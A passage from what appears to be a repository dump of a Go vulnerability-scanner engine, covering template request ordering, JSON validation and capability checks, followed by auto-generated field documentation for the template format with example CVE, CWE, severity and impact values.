types.WHOISProtocol.String():\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsWHOIS)...)\n\t\tcase types.CodeProtocol.String():\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsCode)...)\n\t\tcase types.JavascriptProtocol.String():\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsJavascript)...)\n\t\t\t// for deprecated protocols\n\t\tcase \"requests\":\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsHTTP)...)\n\t\tcase \"network\":\n\t\t\ttemplate.RequestsQueue = append(template.RequestsQueue, template.convertRequestToProtocolsRequest(template.RequestsNetwork)...)\n\t\t}\n\t}\n}\n\n// hasMultipleRequests checks if the template has multiple requests\n// if so it preserves the order of the request during compile and execution\nfunc (template *Template) hasMultipleRequests() bool {\n\tcounter := len(template.RequestsDNS) + len(template.RequestsFile) +\n\t\tlen(template.RequestsHTTP) + len(template.RequestsHeadless) +\n\t\tlen(template.RequestsNetwork) + len(template.RequestsSSL) +\n\t\tlen(template.RequestsWebsocket) + len(template.RequestsWHOIS) +\n\t\tlen(template.RequestsCode) + len(template.RequestsJavascript)\n\treturn counter > 1\n}\n\n// MarshalJSON forces recursive struct validation during marshal operation\nfunc (template *Template) MarshalJSON() ([]byte, error) {\n\ttype TemplateAlias Template //avoid recursion\n\tout, marshalErr := json.Marshal((*TemplateAlias)(template))\n\terrValidate := tplValidator.Struct(template)\n\treturn out, multierr.Append(marshalErr, errValidate)\n}\n\n// UnmarshalJSON forces recursive struct validation after unmarshal operation\nfunc (template *Template) UnmarshalJSON(data []byte) error {\n\ttype Alias Template\n\talias := &Alias{}\n\terr := json.Unmarshal(data, alias)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*template = Template(*alias)\n\terr = tplValidator.Struct(template)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// check if the template contains more than 1 protocol request\n\t// if so  preserve the order of the protocols and requests\n\tif template.hasMultipleRequests() {\n\t\tvar tempMap map[string]interface{}\n\t\terr = json.Unmarshal(data, &tempMap)\n\t\tif err != nil {\n\t\t\treturn errkit.Wrapf(err, \"failed to unmarshal multi protocol template %s\", template.ID)\n\t\t}\n\t\tarr := []string{}\n\t\tfor k := range tempMap {\n\t\t\tarr = append(arr, k)\n\t\t}\n\t\ttemplate.addRequestsToQueue(arr...)\n\t}\n\treturn nil\n}\n\n// Requirements holds the required options for a template to be enabled.\ntype Requirements struct {\n\tHeadless      bool\n\tCode          bool\n\tDAST          bool\n\tSelfContained bool\n\tFile          bool\n}\n\n// Requirements returns what options must be enabled for the template to run.\nfunc (template *Template) Requirements() Requirements {\n\treturn Requirements{\n\t\tHeadless:      template.HasHeadlessRequest(),\n\t\tCode:          template.HasCodeRequest(),\n\t\tDAST:          template.IsFuzzableRequest(),\n\t\tSelfContained: template.SelfContained,\n\t\tFile:          template.HasFileRequest(),\n\t}\n}\n\n// Capabilities represents the enabled options/capabilities.\ntype Capabilities struct {\n\tHeadless      bool\n\tCode          bool\n\tDAST          bool\n\tSelfContained bool\n\tFile          bool\n}\n\n// IsEnabledFor checks if all template requirements are satisfied by the given\n// capabilities.\nfunc (template *Template) IsEnabledFor(caps Capabilities) bool {\n\treqs := template.Requirements()\n\n\tif reqs.Headless && !caps.Headless {\n\t\treturn false\n\t}\n\n\tif reqs.Code && !caps.Code {\n\t\treturn false\n\t}\n\n\tif reqs.DAST && !caps.DAST {\n\t\treturn false\n\t}\n\n\tif reqs.SelfContained && !caps.SelfContained {\n\t\treturn false\n\t}\n\n\tif reqs.File && !caps.File {\n\t\treturn false\n\t}\n\n\treturn true\n}\n"
  },
  {
    "path": "pkg/templates/templates_doc.go",
    "content": "// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this\n// file, You can obtain one at http://mozilla.org/MPL/2.0/.\n// DO NOT EDIT: this file is automatically generated by docgen\npackage templates\n\nimport (\n\t\"github.com/projectdiscovery/yamldoc-go/encoder\"\n)\n\nvar (\n\tTemplateDoc                   encoder.Doc\n\tMODELInfoDoc                  encoder.Doc\n\tSTRINGSLICEStringSliceDoc     encoder.Doc\n\tSTRINGSLICERawStringSliceDoc  encoder.Doc\n\tSEVERITYHolderDoc             encoder.Doc\n\tMODELClassificationDoc        encoder.Doc\n\tHTTPRequestDoc                encoder.Doc\n\tGENERATORSAttackTypeHolderDoc encoder.Doc\n\tHTTPMethodTypeHolderDoc       encoder.Doc\n\tFUZZRuleDoc                   encoder.Doc\n\tSliceOrMapSliceDoc            encoder.Doc\n\tANALYZERSAnalyzerTemplateDoc  encoder.Doc\n\tSignatureTypeHolderDoc        encoder.Doc\n\tMATCHERSMatcherDoc            encoder.Doc\n\tMatcherTypeHolderDoc          encoder.Doc\n\tDNSRequestDoc                 encoder.Doc\n\tDNSRequestTypeHolderDoc       encoder.Doc\n\tFILERequestDoc                encoder.Doc\n\tNETWORKRequestDoc             encoder.Doc\n\tNETWORKInputDoc               encoder.Doc\n\tNetworkInputTypeHolderDoc     encoder.Doc\n\tHEADLESSRequestDoc            encoder.Doc\n\tENGINEActionDoc               encoder.Doc\n\tActionTypeHolderDoc           encoder.Doc\n\tUSERAGENTUserAgentHolderDoc   encoder.Doc\n\tSSLRequestDoc                 encoder.Doc\n\tWEBSOCKETRequestDoc           encoder.Doc\n\tWEBSOCKETInputDoc             encoder.Doc\n\tWHOISRequestDoc               encoder.Doc\n\tCODERequestDoc                encoder.Doc\n\tJAVASCRIPTRequestDoc          encoder.Doc\n\tHTTPSignatureTypeHolderDoc    encoder.Doc\n\tVARIABLESVariableDoc          encoder.Doc\n)\n\nfunc init() {\n\tTemplateDoc.Type = \"Template\"\n\tTemplateDoc.Comments[encoder.LineComment] = \" Template is a YAML input file which defines all the requests and\"\n\tTemplateDoc.Description = \"Template is a YAML input file which defines all the requests and\\n other metadata for a template.\"\n\tTemplateDoc.Fields = make([]encoder.Doc, 20)\n\tTemplateDoc.Fields[0].Name = \"id\"\n\tTemplateDoc.Fields[0].Type = \"string\"\n\tTemplateDoc.Fields[0].Note = \"\"\n\tTemplateDoc.Fields[0].Description = \"ID is the unique id for the template.\\n\\n#### Good IDs\\n\\nA good ID uniquely identifies what the requests in the template\\nare doing. Let's say you have a template that identifies a git-config\\nfile on the webservers, a good name would be `git-config-exposure`. Another\\nexample name is `azure-apps-nxdomain-takeover`.\"\n\tTemplateDoc.Fields[0].Comments[encoder.LineComment] = \"ID is the unique id for the template.\"\n\n\tTemplateDoc.Fields[0].AddExample(\"ID Example\", \"CVE-2021-19520\")\n\tTemplateDoc.Fields[1].Name = \"info\"\n\tTemplateDoc.Fields[1].Type = \"model.Info\"\n\tTemplateDoc.Fields[1].Note = \"\"\n\tTemplateDoc.Fields[1].Description = \"Info contains metadata information about the template.\"\n\tTemplateDoc.Fields[1].Comments[encoder.LineComment] = \"Info contains metadata information about the template.\"\n\n\tTemplateDoc.Fields[1].AddExample(\"\", exampleInfoStructure)\n\tTemplateDoc.Fields[2].Name = \"flow\"\n\tTemplateDoc.Fields[2].Type = \"string\"\n\tTemplateDoc.Fields[2].Note = \"\"\n\tTemplateDoc.Fields[2].Description = \"description: |\\n   Flow contains the execution flow for the template.\\n examples:\\n   - flow: |\\n \t\tfor region in regions {\\n\t\t    http(0)\\n\t\t }\\n\t\t for vpc in vpcs {\\n\t\t    http(1)\\n\t\t }\\n\"\n\tTemplateDoc.Fields[2].Comments[encoder.LineComment] = \" description: |\"\n\tTemplateDoc.Fields[3].Name = \"requests\"\n\tTemplateDoc.Fields[3].Type = \"[]http.Request\"\n\tTemplateDoc.Fields[3].Note = \"\"\n\tTemplateDoc.Fields[3].Description = \"Requests contains the http request to make in the template.\\nWARNING: 'requests' will be deprecated and will be removed in a future release. Please use 'http' instead.\"\n\tTemplateDoc.Fields[3].Comments[encoder.LineComment] = \"Requests contains the http request to make in the template.\"\n\n\tTemplateDoc.Fields[3].AddExample(\"\", exampleNormalHTTPRequest)\n\tTemplateDoc.Fields[4].Name = \"http\"\n\tTemplateDoc.Fields[4].Type = \"[]http.Request\"\n\tTemplateDoc.Fields[4].Note = \"\"\n\tTemplateDoc.Fields[4].Description = \"description: |\\n   HTTP contains the http request to make in the template.\\n examples:\\n   - value: exampleNormalHTTPRequest\\n RequestsWithHTTP is placeholder(internal) only, and should not be used instead use RequestsHTTP\\n Deprecated: Use RequestsHTTP instead.\"\n\tTemplateDoc.Fields[4].Comments[encoder.LineComment] = \" description: |\"\n\tTemplateDoc.Fields[5].Name = \"dns\"\n\tTemplateDoc.Fields[5].Type = \"[]dns.Request\"\n\tTemplateDoc.Fields[5].Note = \"\"\n\tTemplateDoc.Fields[5].Description = \"DNS contains the dns request to make in the template\"\n\tTemplateDoc.Fields[5].Comments[encoder.LineComment] = \"DNS contains the dns request to make in the template\"\n\n\tTemplateDoc.Fields[5].AddExample(\"\", exampleNormalDNSRequest)\n\tTemplateDoc.Fields[6].Name = \"file\"\n\tTemplateDoc.Fields[6].Type = \"[]file.Request\"\n\tTemplateDoc.Fields[6].Note = \"\"\n\tTemplateDoc.Fields[6].Description = \"File contains the file request to make in the template\"\n\tTemplateDoc.Fields[6].Comments[encoder.LineComment] = \"File contains the file request to make in the template\"\n\n\tTemplateDoc.Fields[6].AddExample(\"\", exampleNormalFileRequest)\n\tTemplateDoc.Fields[7].Name = \"network\"\n\tTemplateDoc.Fields[7].Type = \"[]network.Request\"\n\tTemplateDoc.Fields[7].Note = \"\"\n\tTemplateDoc.Fields[7].Description = \"Network contains the network request to make in the template\\nWARNING: 'network' will be deprecated and will be removed in a future release. Please use 'tcp' instead.\"\n\tTemplateDoc.Fields[7].Comments[encoder.LineComment] = \"Network contains the network request to make in the template\"\n\n\tTemplateDoc.Fields[7].AddExample(\"\", exampleNormalNetworkRequest)\n\tTemplateDoc.Fields[8].Name = \"tcp\"\n\tTemplateDoc.Fields[8].Type = \"[]network.Request\"\n\tTemplateDoc.Fields[8].Note = \"\"\n\tTemplateDoc.Fields[8].Description = \"description: |\\n   TCP contains the network request to make in the template\\n examples:\\n   - value: exampleNormalNetworkRequest\\n RequestsWithTCP is placeholder(internal) only, and should not be used instead use RequestsNetwork\\n Deprecated: Use RequestsNetwork instead.\"\n\tTemplateDoc.Fields[8].Comments[encoder.LineComment] = \" description: |\"\n\tTemplateDoc.Fields[9].Name = \"headless\"\n\tTemplateDoc.Fields[9].Type = \"[]headless.Request\"\n\tTemplateDoc.Fields[9].Note = \"\"\n\tTemplateDoc.Fields[9].Description = \"Headless contains the headless request to make in the template.\"\n\tTemplateDoc.Fields[9].Comments[encoder.LineComment] = \"Headless contains the headless request to make in the template.\"\n\tTemplateDoc.Fields[10].Name = \"ssl\"\n\tTemplateDoc.Fields[10].Type = \"[]ssl.Request\"\n\tTemplateDoc.Fields[10].Note = \"\"\n\tTemplateDoc.Fields[10].Description = \"SSL contains the SSL request to make in the template.\"\n\tTemplateDoc.Fields[10].Comments[encoder.LineComment] = \"SSL contains the SSL request to make in the template.\"\n\tTemplateDoc.Fields[11].Name = \"websocket\"\n\tTemplateDoc.Fields[11].Type = \"[]websocket.Request\"\n\tTemplateDoc.Fields[11].Note = \"\"\n\tTemplateDoc.Fields[11].Description = \"Websocket contains the Websocket request to make in the template.\"\n\tTemplateDoc.Fields[11].Comments[encoder.LineComment] = \"Websocket contains the Websocket request to make in the template.\"\n\tTemplateDoc.Fields[12].Name = \"whois\"\n\tTemplateDoc.Fields[12].Type = \"[]whois.Request\"\n\tTemplateDoc.Fields[12].Note = \"\"\n\tTemplateDoc.Fields[12].Description = \"WHOIS contains the WHOIS request to make in the template.\"\n\tTemplateDoc.Fields[12].Comments[encoder.LineComment] = \"WHOIS contains the WHOIS request to make in the template.\"\n\tTemplateDoc.Fields[13].Name = \"code\"\n\tTemplateDoc.Fields[13].Type = \"[]code.Request\"\n\tTemplateDoc.Fields[13].Note = \"\"\n\tTemplateDoc.Fields[13].Description = \"Code contains code snippets.\"\n\tTemplateDoc.Fields[13].Comments[encoder.LineComment] = \"Code contains code snippets.\"\n\tTemplateDoc.Fields[14].Name = \"javascript\"\n\tTemplateDoc.Fields[14].Type = \"[]javascript.Request\"\n\tTemplateDoc.Fields[14].Note = \"\"\n\tTemplateDoc.Fields[14].Description = \"Javascript contains the javascript request to make in the template.\"\n\tTemplateDoc.Fields[14].Comments[encoder.LineComment] = \"Javascript contains the javascript request to make in the template.\"\n\tTemplateDoc.Fields[15].Name = \"self-contained\"\n\tTemplateDoc.Fields[15].Type = \"bool\"\n\tTemplateDoc.Fields[15].Note = \"\"\n\tTemplateDoc.Fields[15].Description = \"Self Contained marks Requests for the template as self-contained\"\n\tTemplateDoc.Fields[15].Comments[encoder.LineComment] = \"Self Contained marks Requests for the template as self-contained\"\n\tTemplateDoc.Fields[16].Name = \"stop-at-first-match\"\n\tTemplateDoc.Fields[16].Type = \"bool\"\n\tTemplateDoc.Fields[16].Note = \"\"\n\tTemplateDoc.Fields[16].Description = \"Stop execution once first match is found\"\n\tTemplateDoc.Fields[16].Comments[encoder.LineComment] = \"Stop execution once first match is found\"\n\tTemplateDoc.Fields[17].Name = \"signature\"\n\tTemplateDoc.Fields[17].Type = \"http.SignatureTypeHolder\"\n\tTemplateDoc.Fields[17].Note = \"\"\n\tTemplateDoc.Fields[17].Description = \"Signature is the request signature method\\nWARNING: 'signature' will be deprecated and will be removed in a future release. Prefer using 'code' protocol for writing cloud checks\"\n\tTemplateDoc.Fields[17].Comments[encoder.LineComment] = \"Signature is the request signature method\"\n\tTemplateDoc.Fields[17].Values = []string{\n\t\t\"AWS\",\n\t}\n\tTemplateDoc.Fields[18].Name = \"variables\"\n\tTemplateDoc.Fields[18].Type = \"variables.Variable\"\n\tTemplateDoc.Fields[18].Note = \"\"\n\tTemplateDoc.Fields[18].Description = \"Variables contains any variables for the current request.\"\n\tTemplateDoc.Fields[18].Comments[encoder.LineComment] = \"Variables contains any variables for the current request.\"\n\tTemplateDoc.Fields[19].Name = \"constants\"\n\tTemplateDoc.Fields[19].Type = \"map[string]interface{}\"\n\tTemplateDoc.Fields[19].Note = \"\"\n\tTemplateDoc.Fields[19].Description = \"Constants contains any scalar constant for the current template\"\n\tTemplateDoc.Fields[19].Comments[encoder.LineComment] = \"Constants contains any scalar constant for the current template\"\n\n\tMODELInfoDoc.Type = \"model.Info\"\n\tMODELInfoDoc.Comments[encoder.LineComment] = \" Info contains metadata information about a template\"\n\tMODELInfoDoc.Description = \"Info contains metadata information about a template\"\n\n\tMODELInfoDoc.AddExample(\"\", exampleInfoStructure)\n\tMODELInfoDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"info\",\n\t\t},\n\t}\n\tMODELInfoDoc.Fields = make([]encoder.Doc, 10)\n\tMODELInfoDoc.Fields[0].Name = \"name\"\n\tMODELInfoDoc.Fields[0].Type = \"string\"\n\tMODELInfoDoc.Fields[0].Note = \"\"\n\tMODELInfoDoc.Fields[0].Description = \"Name should be good short summary that identifies what the template does.\"\n\tMODELInfoDoc.Fields[0].Comments[encoder.LineComment] = \"Name should be good short summary that identifies what the template does.\"\n\n\tMODELInfoDoc.Fields[0].AddExample(\"\", \"bower.json file disclosure\")\n\n\tMODELInfoDoc.Fields[0].AddExample(\"\", \"Nagios Default Credentials Check\")\n\tMODELInfoDoc.Fields[1].Name = \"author\"\n\tMODELInfoDoc.Fields[1].Type = \"stringslice.StringSlice\"\n\tMODELInfoDoc.Fields[1].Note = \"\"\n\tMODELInfoDoc.Fields[1].Description = \"Author of the template.\\n\\nMultiple values can also be specified separated by commas.\"\n\tMODELInfoDoc.Fields[1].Comments[encoder.LineComment] = \"Author of the template.\"\n\n\tMODELInfoDoc.Fields[1].AddExample(\"\", \"<username>\")\n\tMODELInfoDoc.Fields[2].Name = \"tags\"\n\tMODELInfoDoc.Fields[2].Type = \"stringslice.StringSlice\"\n\tMODELInfoDoc.Fields[2].Note = \"\"\n\tMODELInfoDoc.Fields[2].Description = \"Any tags for the template.\\n\\nMultiple values can also be specified separated by commas.\"\n\tMODELInfoDoc.Fields[2].Comments[encoder.LineComment] = \"Any tags for the template.\"\n\n\tMODELInfoDoc.Fields[2].AddExample(\"Example tags\", \"cve,cve2019,grafana,auth-bypass,dos\")\n\tMODELInfoDoc.Fields[3].Name = \"description\"\n\tMODELInfoDoc.Fields[3].Type = \"string\"\n\tMODELInfoDoc.Fields[3].Note = \"\"\n\tMODELInfoDoc.Fields[3].Description = \"Description of the template.\\n\\nYou can go in-depth here on what the template actually does.\"\n\tMODELInfoDoc.Fields[3].Comments[encoder.LineComment] = \"Description of the template.\"\n\n\tMODELInfoDoc.Fields[3].AddExample(\"\", \"Bower is a package manager which stores package information in the bower.json file\")\n\n\tMODELInfoDoc.Fields[3].AddExample(\"\", \"Subversion ALM for the enterprise before 8.8.2 allows reflected XSS at multiple locations\")\n\tMODELInfoDoc.Fields[4].Name = \"impact\"\n\tMODELInfoDoc.Fields[4].Type = \"string\"\n\tMODELInfoDoc.Fields[4].Note = \"\"\n\tMODELInfoDoc.Fields[4].Description = \"Impact of the template.\\n\\nYou can go in-depth here on impact of the template.\"\n\tMODELInfoDoc.Fields[4].Comments[encoder.LineComment] = \"Impact of the template.\"\n\n\tMODELInfoDoc.Fields[4].AddExample(\"\", \"Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.\")\n\n\tMODELInfoDoc.Fields[4].AddExample(\"\", \"Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.\")\n\tMODELInfoDoc.Fields[5].Name = \"reference\"\n\tMODELInfoDoc.Fields[5].Type = \"stringslice.RawStringSlice\"\n\tMODELInfoDoc.Fields[5].Note = \"\"\n\tMODELInfoDoc.Fields[5].Description = \"References for the template.\\n\\nThis should contain links relevant to the template.\"\n\tMODELInfoDoc.Fields[5].Comments[encoder.LineComment] = \"References for the template.\"\n\n\tMODELInfoDoc.Fields[5].AddExample(\"\", []string{\"https://github.com/strapi/strapi\", \"https://github.com/getgrav/grav\"})\n\tMODELInfoDoc.Fields[6].Name = \"severity\"\n\tMODELInfoDoc.Fields[6].Type = \"severity.Holder\"\n\tMODELInfoDoc.Fields[6].Note = \"\"\n\tMODELInfoDoc.Fields[6].Description = \"Severity of the template.\"\n\tMODELInfoDoc.Fields[6].Comments[encoder.LineComment] = \"Severity of the template.\"\n\tMODELInfoDoc.Fields[7].Name = \"metadata\"\n\tMODELInfoDoc.Fields[7].Type = \"map[string]interface{}\"\n\tMODELInfoDoc.Fields[7].Note = \"\"\n\tMODELInfoDoc.Fields[7].Description = \"Metadata of the template.\"\n\tMODELInfoDoc.Fields[7].Comments[encoder.LineComment] = \"Metadata of the template.\"\n\n\tMODELInfoDoc.Fields[7].AddExample(\"\", map[string]string{\"customField1\": \"customValue1\"})\n\tMODELInfoDoc.Fields[8].Name = \"classification\"\n\tMODELInfoDoc.Fields[8].Type = \"model.Classification\"\n\tMODELInfoDoc.Fields[8].Note = \"\"\n\tMODELInfoDoc.Fields[8].Description = \"Classification contains classification information about the template.\"\n\tMODELInfoDoc.Fields[8].Comments[encoder.LineComment] = \"Classification contains classification information about the template.\"\n\tMODELInfoDoc.Fields[9].Name = \"remediation\"\n\tMODELInfoDoc.Fields[9].Type = \"string\"\n\tMODELInfoDoc.Fields[9].Note = \"\"\n\tMODELInfoDoc.Fields[9].Description = \"Remediation steps for the template.\\n\\nYou can go in-depth here on how to mitigate the problem found by this template.\"\n\tMODELInfoDoc.Fields[9].Comments[encoder.LineComment] = \"Remediation steps for the template.\"\n\n\tMODELInfoDoc.Fields[9].AddExample(\"\", \"Change the default administrative username and password of Apache ActiveMQ by editing the file jetty-realm.properties\")\n\n\tSTRINGSLICEStringSliceDoc.Type = \"stringslice.StringSlice\"\n\tSTRINGSLICEStringSliceDoc.Comments[encoder.LineComment] = \" StringSlice represents a single (in-lined) or multiple string value(s).\"\n\tSTRINGSLICEStringSliceDoc.Description = \"StringSlice represents a single (in-lined) or multiple string value(s).\\n The unmarshaller does not automatically convert in-lined strings to []string, hence the interface{} type is required.\"\n\n\tSTRINGSLICEStringSliceDoc.AddExample(\"\", \"<username>\")\n\n\tSTRINGSLICEStringSliceDoc.AddExample(\"Example tags\", \"cve,cve2019,grafana,auth-bypass,dos\")\n\n\tSTRINGSLICEStringSliceDoc.AddExample(\"\", \"CVE-2020-14420\")\n\n\tSTRINGSLICEStringSliceDoc.AddExample(\"\", \"CWE-22\")\n\tSTRINGSLICEStringSliceDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"model.Info\",\n\t\t\tFieldName: \"author\",\n\t\t},\n\t\t{\n\t\t\tTypeName:  \"model.Info\",\n\t\t\tFieldName: \"tags\",\n\t\t},\n\t\t{\n\t\t\tTypeName:  \"model.Classification\",\n\t\t\tFieldName: \"cve-id\",\n\t\t},\n\t\t{\n\t\t\tTypeName:  \"model.Classification\",\n\t\t\tFieldName: \"cwe-id\",\n\t\t},\n\t}\n\tSTRINGSLICEStringSliceDoc.Fields = make([]encoder.Doc, 0)\n\n\tSTRINGSLICERawStringSliceDoc.Type = \"stringslice.RawStringSlice\"\n\tSTRINGSLICERawStringSliceDoc.Comments[encoder.LineComment] = \"\"\n\tSTRINGSLICERawStringSliceDoc.Description = \"\"\n\n\tSTRINGSLICERawStringSliceDoc.AddExample(\"\", []string{\"https://github.com/strapi/strapi\", \"https://github.com/getgrav/grav\"})\n\tSTRINGSLICERawStringSliceDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"model.Info\",\n\t\t\tFieldName: \"reference\",\n\t\t},\n\t}\n\tSTRINGSLICERawStringSliceDoc.Fields = make([]encoder.Doc, 0)\n\n\tSEVERITYHolderDoc.Type = \"severity.Holder\"\n\tSEVERITYHolderDoc.Comments[encoder.LineComment] = \" Holder holds a Severity type. Required for un/marshalling purposes\"\n\tSEVERITYHolderDoc.Description = \"Holder holds a Severity type. Required for un/marshalling purposes\"\n\tSEVERITYHolderDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"model.Info\",\n\t\t\tFieldName: \"severity\",\n\t\t},\n\t}\n\tSEVERITYHolderDoc.Fields = make([]encoder.Doc, 1)\n\tSEVERITYHolderDoc.Fields[0].Name = \"\"\n\tSEVERITYHolderDoc.Fields[0].Type = \"Severity\"\n\tSEVERITYHolderDoc.Fields[0].Note = \"\"\n\tSEVERITYHolderDoc.Fields[0].Description = \"\"\n\tSEVERITYHolderDoc.Fields[0].Comments[encoder.LineComment] = \"\"\n\tSEVERITYHolderDoc.Fields[0].EnumFields = []string{\n\t\t\"undefined\",\n\t\t\"info\",\n\t\t\"low\",\n\t\t\"medium\",\n\t\t\"high\",\n\t\t\"critical\",\n\t\t\"unknown\",\n\t}\n\n\tMODELClassificationDoc.Type = \"model.Classification\"\n\tMODELClassificationDoc.Comments[encoder.LineComment] = \"\"\n\tMODELClassificationDoc.Description = \"\"\n\tMODELClassificationDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"model.Info\",\n\t\t\tFieldName: \"classification\",\n\t\t},\n\t}\n\tMODELClassificationDoc.Fields = make([]encoder.Doc, 7)\n\tMODELClassificationDoc.Fields[0].Name = \"cve-id\"\n\tMODELClassificationDoc.Fields[0].Type = \"stringslice.StringSlice\"\n\tMODELClassificationDoc.Fields[0].Note = \"\"\n\tMODELClassificationDoc.Fields[0].Description = \"CVE ID for the template\"\n\tMODELClassificationDoc.Fields[0].Comments[encoder.LineComment] = \"CVE ID for the template\"\n\n\tMODELClassificationDoc.Fields[0].AddExample(\"\", \"CVE-2020-14420\")\n\tMODELClassificationDoc.Fields[1].Name = \"cwe-id\"\n\tMODELClassificationDoc.Fields[1].Type = \"stringslice.StringSlice\"\n\tMODELClassificationDoc.Fields[1].Note = \"\"\n\tMODELClassificationDoc.Fields[1].Description = \"CWE ID for the template.\"\n\tMODELClassificationDoc.Fields[1].Comments[encoder.LineComment] = \"CWE ID for the template.\"\n\n\tMODELClassificationDoc.Fields[1].AddExample(\"\", \"CWE-22\")\n\tMODELClassificationDoc.Fields[2].Name = \"cvss-metrics\"\n\tMODELClassificationDoc.Fields[2].Type = \"string\"\n\tMODELClassificationDoc.Fields[2].Note = \"\"\n\tMODELClassificationDoc.Fields[2].Description = \"CVSS Metrics for the template.\"\n\tMODELClassificationDoc.Fields[2].Comments[encoder.LineComment] = \"CVSS Metrics for the template.\"\n\n\tMODELClassificationDoc.Fields[2].AddExample(\"\", \"3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\")\n\tMODELClassificationDoc.Fields[3].Name = \"cvss-score\"\n\tMODELClassificationDoc.Fields[3].Type = \"float64\"\n\tMODELClassificationDoc.Fields[3].Note = \"\"\n\tMODELClassificationDoc.Fields[3].Description = \"CVSS Score for the template.\"\n\tMODELClassificationDoc.Fields[3].Comments[encoder.LineComment] = \"CVSS Score for the template.\"\n\n\tMODELClassificationDoc.Fields[3].AddExample(\"\", \"9.8\")\n\tMODELClassificationDoc.Fields[4].Name = \"epss-score\"\n\tMODELClassificationDoc.Fields[4].Type = \"float64\"\n\tMODELClassificationDoc.Fields[4].Note = \"\"\n\tMODELClassificationDoc.Fields[4].Description = \"EPSS Score for the template.\"\n\tMODELClassificationDoc.Fields[4].Comments[encoder.LineComment] = \"EPSS Score for the template.\"\n\n\tMODELClassificationDoc.Fields[4].AddExample(\"\", \"0.42509\")\n\tMODELClassificationDoc.Fields[5].Name = \"epss-percentile\"\n\tMODELClassificationDoc.Fields[5].Type = \"float64\"\n\tMODELClassificationDoc.Fields[5].Note = \"\"\n\tMODELClassificationDoc.Fields[5].Description = \"EPSS Percentile for the template.\"\n\tMODELClassificationDoc.Fields[5].Comments[encoder.LineComment] = \"EPSS Percentile for the template.\"\n\n\tMODELClassificationDoc.Fields[5].AddExample(\"\", \"0.42509\")\n\tMODELClassificationDoc.Fields[6].Name = \"cpe\"\n\tMODELClassificationDoc.Fields[6].Type = \"string\"\n\tMODELClassificationDoc.Fields[6].Note = \"\"\n\tMODELClassificationDoc.Fields[6].Description = \"CPE for the template.\"\n\tMODELClassificationDoc.Fields[6].Comments[encoder.LineComment] = \"CPE for the template.\"\n\n\tMODELClassificationDoc.Fields[6].AddExample(\"\", \"cpe:/a:vendor:product:version\")\n\n\tHTTPRequestDoc.Type = \"http.Request\"\n\tHTTPRequestDoc.Comments[encoder.LineComment] = \" Request contains a http request to be made from a template\"\n\tHTTPRequestDoc.Description = \"Request contains a http request to be made from a template\"\n\n\tHTTPRequestDoc.AddExample(\"\", exampleNormalHTTPRequest)\n\tHTTPRequestDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"requests\",\n\t\t},\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"http\",\n\t\t},\n\t}\n\tHTTPRequestDoc.PartDefinitions = []encoder.KeyValue{\n\t\t{\n\t\t\tKey:   \"template-id\",\n\t\t\tValue: \"ID of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-info\",\n\t\t\tValue: \"Info Block of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-path\",\n\t\t\tValue: \"Path of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"host\",\n\t\t\tValue: \"Host is the input to the template\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"matched\",\n\t\t\tValue: \"Matched is the input which was matched upon\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"type\",\n\t\t\tValue: \"Type is the type of request made\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"request\",\n\t\t\tValue: \"HTTP request made from the client\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"response\",\n\t\t\tValue: \"HTTP response received from server\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"status_code\",\n\t\t\tValue: \"Status Code received from the Server\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"body\",\n\t\t\tValue: \"HTTP response body received from server (default)\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"content_length\",\n\t\t\tValue: \"HTTP Response content length\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"header,all_headers\",\n\t\t\tValue: \"HTTP response headers\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"duration\",\n\t\t\tValue: \"HTTP request time duration\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"all\",\n\t\t\tValue: \"HTTP response body + headers\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"cookies_from_response\",\n\t\t\tValue: \"HTTP response cookies in name:value format\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"headers_from_response\",\n\t\t\tValue: \"HTTP response headers in name:value format\",\n\t\t},\n\t}\n\tHTTPRequestDoc.Fields = make([]encoder.Doc, 38)\n\tHTTPRequestDoc.Fields[0].Name = \"path\"\n\tHTTPRequestDoc.Fields[0].Type = \"[]string\"\n\tHTTPRequestDoc.Fields[0].Note = \"\"\n\tHTTPRequestDoc.Fields[0].Description = \"Path contains the path/s for the HTTP requests. It supports variables\\nas placeholders.\"\n\tHTTPRequestDoc.Fields[0].Comments[encoder.LineComment] = \"Path contains the path/s for the HTTP requests. It supports variables\"\n\n\tHTTPRequestDoc.Fields[0].AddExample(\"Some example path 